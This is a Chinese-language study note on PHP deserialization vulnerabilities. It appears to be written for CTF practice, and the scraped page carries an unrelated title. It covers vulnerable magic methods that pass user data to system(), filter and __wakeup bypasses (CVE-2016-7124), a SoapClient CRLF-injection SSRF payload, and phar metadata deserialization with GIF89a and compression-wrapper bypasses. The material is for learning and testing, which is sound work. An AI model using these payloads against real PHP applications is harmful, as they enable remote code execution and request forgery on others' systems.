1. 程式人生 > 實用技巧 >VUE Video視訊(播放/列表)

VUE Video視訊(播放/列表)

php反序列化相關知識的筆記

一、簡介

  意義在於能把一個結構抽象的東西轉變為易於傳輸的字串,如陣列、物件。

serialize($a):把$a序列化
unserialize($a):把$a反序列化

  型別(:長度):內容 ,例如:

serialize(“aaaaa”)      --->     s:5:"aaaaa";                   
serialize(123)            --->     i:123;
serialize(True)           --->     b:1;
serialize
(array('a'=>'b')) --> a:1:{s:1:"a";s:1:"b";}

  序列化後的內容只有成員變數,沒有成員函式。如下:

shellydeMacBook-Pro:~ shellyzhang$ cat 2.php 
<?php
class test{
    public $a;
    public $b;
    function __construct(){$this->a = "abc";$this->b="efg";}
    function abc(){return $this->a;}
}
$a = new test();
echo serialize($a); ?>
shellydeMacBook-Pro:~ shellyzhang$ php 2.php O:4:"test":2:{s:1:"a";s:3:"abc";s:1:"b";s:3:"efg";}

  protected型會在變數名前加上\x00*\x00,private型會在變數名前加上\x00類名\x00,輸出時記得url編碼。如下:

shellydeMacBook-Pro:~ shellyzhang$ cat 2.php 
<?php
class test{
    protected $a;
    private $b;
    function
__construct(){$this->a = "abc";$this->b="efg";} } $a = new test(); echo urlencode(serialize($a)); ?> shellydeMacBook-Pro:~ shellyzhang$ php 2.php O%3A4%3A%22test%22%3A2%3A%7Bs%3A4%3A%22%00%2A%00a%22%3Bs%3A3%3A%22abc%22%3Bs%3A7%3A%22%00test%00b%22%3Bs%3A3%3A%22efg%22%3B%7D
shellydeMacBook-Pro:~ shellyzhang$ shellydeMacBook-Pro:~ shellyzhang$ python3 -c "import urllib.parse;print(urllib.parse.unquote('O%3A4%3A%22test%22%3A2%3A%7Bs%3A4%3A%22%00%2A%00a%22%3Bs%3A3%3A%22abc%22%3Bs%3A7%3A%22%00test%00b%22%3Bs%3A3%3A%22efg%22%3B%7D'))" O:4:"test":2:{s:4:"*a";s:3:"abc";s:7:"testb";s:3:"efg";}

二、漏洞成因

  php的魔術方法中含有或會呼叫到危險的函式,同時函式變數又是使用者可控的。如下,需要注意的是,__destruct的工作目錄會被切換為系統根目錄

shellydeMacBook-Pro:~ shellyzhang$ cat 2.php 
<?php
class test{
    public $a;
    function __destruct(){
        system($this->a);
    }
}

unserialize('O:4:"test":1:{s:1:"a";s:3:"pwd";}');

?>

shellydeMacBook-Pro:~ shellyzhang$ php 2.php 
/Users/shellyzhang

  常用的php魔術方法,如下:

__construct(),類的建構函式
__destruct(),類的解構函式
__call(),在物件中呼叫一個不可訪問方法時呼叫 如:$a->xxx();
__get(),獲得一個類的成員變數時呼叫 如:$a->xxx;
__set(),設定一個類的成員變數時呼叫
__sleep(),執行serialize()時,先會呼叫這個函式
__wakeup(),執行unserialize()時,先會呼叫這個函式
__toString(),類被當成字串時的迴應方法 如:echo $a;
__invoke(),呼叫函式的方式呼叫一個物件時的迴應方法 $a();

  例題:[網鼎杯 2020 青龍組]AreUSerialzhttps://www.cnblogs.com/or4nge/p/13440624.html

、反序列化繞過

  1、繞過字元過濾

O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"efg";}

可以寫成

O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"efg";}
表示字元型別的s大寫時,會被當成16進位制解析。

  2、繞過__wakeup

CVE-2016-7124
PHP5 < 5.6.25
PHP7 < 7.0.10

序列化字串中表示物件屬性個數的值大於真實的屬性個數時會跳過__wakeup的執行

  如下:

<?php
class test{
    public $a;
    function __wakeup(){
        $this->a='';
    }
    function __destruct(){
        system($this->a);
    }
}

unserialize('O:4:"test":2:{s:1:"a";s:3:"pwd";}');

?>

  3、繞過部分正則

preg_match('/^O:\d+/')匹配序列化字串是否是物件字串開頭

1. serialize(array($a));//$a為要反序列化的物件
序列化結果開頭是a,不影響作為陣列元素的$a的析構

2. O:+3:”aaa”....
利用加號繞過(注意在url裡傳參時+要編碼為%2B)

  4、利用引用

將$c設定為$b的引用,$test->c = &$test->b,可以使$c永遠與$b相等

class test{
    public $a;
    public $b;
    public $c;
    function __destruct(){
        $this->b='xxxxxx';
        if($this->c===$this->b){
            system($this->a);
}
    }
}

四、PHP原生類反序列化(soap)

php在安裝php-soap拓展後,可以反序列化原生類SoapClient,來發送http post請求。

必須呼叫SoapClient不存在的方法,觸發SoapClient的__call魔術方法。

通過CRLF來新增請求體:SoapClient可以指定請求的user-agent頭,通過新增換行符的形式來加入其他請求內容

<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=cf44f3147ab331af7d66943d888c86f9';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'test^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "notExistFunction"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);

五、phar反序列化

phar檔案本質上是一種壓縮檔案,會以序列化的形式儲存使用者自定義的meta-data。當受影響的檔案操作函式呼叫phar檔案時,會自動反序列化meta-data內的內容。

參考:

https://threezh1.com/2019/09/09/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

  知道創宇測試後受影響的函式列表:

  基本poc如下,可使用此poc生成phar檔案:

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //字尾名必須為phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設定stub
    $o = new TestObject();
    $phar->setMetadata($o); //將自定義的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //新增要壓縮的檔案
    //簽名自動計算
    $phar->stopBuffering();
?>

  相關繞過:

當環境限制了phar不能出現在前面的字元裡。可以使用compress.bzip2://和compress.zlib://繞過
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';

當環境限制了phar不能出現在前面的字元裡,還可以配合其他協議進行利用。
php://filter/read=convert.base64-encode/resource=phar://phar.phar


GIF格式驗證可以通過在檔案頭部新增GIF89a繞過
1、$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設定stub
2、生成一個phar.phar,修改後綴名為phar.gif

  一個簡單的例子:phar.php

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //字尾名必須為phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設定stub
    $o = new TestObject();
    $o -> name='test'; //控制TestObject中的name變數為Threezh1
    $phar->setMetadata($o); //將自定義的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //新增要壓縮的檔案
    //簽名自動計算
    $phar->stopBuffering();
?>

  index.php

<?php
class TestObject {
    public $name;

    function __destruct()
    {
        echo $this -> name;
    }
}
if ($_GET["file"]){
    file_exists($_GET["file"]);
}
?>

  使用php phar.php生成phar.phar檔案。

  訪問:http://127.0.0.1/index.php?file=phar://phar.phar

  返回:test。 反序列化利用成功。

  例題:SWPUCTF 2018 SimplePHP